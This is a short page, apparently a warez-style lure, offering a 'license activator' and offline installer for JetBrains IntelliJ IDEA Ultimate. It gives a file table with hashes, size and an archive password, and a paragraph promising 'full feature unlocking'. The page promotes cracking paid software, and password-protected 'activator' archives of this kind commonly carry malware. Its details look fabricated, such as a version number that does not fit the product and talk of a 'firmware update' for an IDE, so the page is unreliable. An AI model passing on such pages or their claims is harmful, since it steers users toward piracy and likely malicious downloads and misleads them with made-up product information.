Updated & Tested Working Guide (2026)
Download the latest full build, offline installer and license activator safely.
Download Installer Package| File Name | JetBrains_IntelliJ_IDEA_Ultimate_v3.1_x64_setup.zip |
| Version | v3.1.2484 build 42423 |
| File Size | 1.03 GB (1051 MB) |
| MD5 Hash | c265537e177476552441235ef33e1bc1 |
| SHA-256 | f886c06d7b442da3419effc7ba2db02e8767c460c973432949d573c7f2b12768 |
| Release Date | 2025-09-24 |
| Platform | Windows 11 (x64) / Windows Server 2022 |
| Archive Password | verified |
| License Type | Full / Retail |
This edition of JetBrains IntelliJ IDEA Ultimate latest firmware update support includes the complete offline package with all required runtimes and libraries. Whether you deploy it on a single workstation or a full engineering department, proper installation guarantees stable performance and full feature unlocking.